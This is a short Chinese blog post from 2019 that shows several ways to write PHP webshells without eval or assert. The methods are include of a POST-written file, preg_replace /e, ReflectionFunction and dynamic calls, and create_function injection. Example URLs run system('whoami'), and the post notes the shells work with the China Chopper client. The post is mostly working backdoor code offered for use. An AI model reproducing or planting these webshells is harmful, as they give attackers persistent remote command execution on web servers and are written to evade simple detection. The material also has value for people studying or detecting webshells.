不使用eval、assert制作webshell
1、include函数
实现思路:将POST过来的参数写入到一个文本里,再去包含文本实现代码执行
<?php
@$pwd=$_POST['pwd'];
$include_file='code.txt';
if(isset($pwd)){
file_put_contents($include_file,'<?php '.$pwd);
include $include_file;
unlink($include_file);
}
?>
也可以使用菜刀连接
2、preg_replace函数
实现思路:使用/e修饰符实现代码执行
<?php
@preg_replace("//e",$_POST['pwd'],"luck");
?>
3、ReflectionFunction & 动态函数
<?php
$func = new ReflectionFunction($_GET['func_name']);
$func->invokeArgs($_GET['args']);
?>
http://127.0.0.1/code_exec.php?func_name=system&args[0]=whoami
动态函数
<?php
$_GET['function']($_GET['args']);
?>
example:
http://127.0.0.1/code_exec.php?function=system&args=whoami
4、create_function
<?php
$code=$_GET['code'];
$str2=";}{$code};/*";
echo $str2.'<hr>';
$f1 = create_function('$a',$str2);
?>
也可以直接用菜刀连接
原理:
function name($a){
;}system("whoami");/*
}
这样看得一目了然
function name($a){
;}
system("whoami");/*}
温馨提示:本文最后更新于2019年1月20日 00:48,若内容或图片失效,请在下方留言或联系博主。